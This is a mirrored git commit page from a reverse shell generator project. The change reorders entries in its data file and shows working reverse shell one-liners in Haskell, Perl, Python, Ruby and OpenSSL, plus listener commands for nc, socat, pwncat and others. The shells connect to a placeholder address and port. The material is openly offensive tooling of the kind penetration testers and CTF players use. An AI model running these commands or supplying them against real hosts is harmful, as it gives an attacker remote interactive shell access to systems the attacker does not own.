mirror of
https://github.com/0dayCTF/reverse-shell-generator.git
synced 2024-12-18 19:06:09 +00:00
Correct Alphabetical order of OpenSSL reverse shell
This commit is contained in:
parent
3d37d35720
commit
f8db9c36f0
12
js/data.js
12
js/data.js
@ -121,6 +121,11 @@ const reverseShellCommands = withCommandType(
|
|||||||
"command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f\"",
|
"command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f\"",
|
||||||
"meta": ["linux", "mac"]
|
"meta": ["linux", "mac"]
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"name": "OpenSSL",
|
||||||
|
"command": "mkfifo /tmp/s; {shell} -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {ip}:{port} > /tmp/s; rm /tmp/s",
|
||||||
|
"meta": ["linux", "mac"]
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"name": "Perl",
|
"name": "Perl",
|
||||||
"command": "perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'",
|
"command": "perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'",
|
||||||
@ -260,11 +265,6 @@ const reverseShellCommands = withCommandType(
|
|||||||
"command": "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"{shell}\")'",
|
"command": "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"{shell}\")'",
|
||||||
"meta": ["linux"]
|
"meta": ["linux"]
|
||||||
},
|
},
|
||||||
{
|
|
||||||
"name": "OpenSSL",
|
|
||||||
"command": "mkfifo /tmp/s; {shell} -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {ip}:{port} > /tmp/s; rm /tmp/s",
|
|
||||||
"meta": ["linux", "mac"]
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
"name": "Ruby #1",
|
"name": "Ruby #1",
|
||||||
"command": "ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{ip}\",{port}))'",
|
"command": "ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{ip}\",{port}))'",
|
||||||
@ -590,9 +590,9 @@ const rsgData = {
|
|||||||
['ncat (TLS)', 'ncat --ssl -lvnp {port}'],
|
['ncat (TLS)', 'ncat --ssl -lvnp {port}'],
|
||||||
['rlwrap + nc', 'rlwrap -cAr nc -lvnp {port}'],
|
['rlwrap + nc', 'rlwrap -cAr nc -lvnp {port}'],
|
||||||
['rustcat', 'rcat listen {port}'],
|
['rustcat', 'rcat listen {port}'],
|
||||||
|
['openssl', 'openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port {port}'],
|
||||||
['pwncat', 'python3 -m pwncat -lp {port}'],
|
['pwncat', 'python3 -m pwncat -lp {port}'],
|
||||||
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
|
['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'],
|
||||||
['openssl', 'openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port {port}'],
|
|
||||||
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
|
['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'],
|
||||||
['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}'],
|
['socat (TTY)', 'socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{port}'],
|
||||||
['powercat', 'powercat -l -p {port}'],
|
['powercat', 'powercat -l -p {port}'],
|
||||||
|
Loading…
Reference in New Issue
Block a user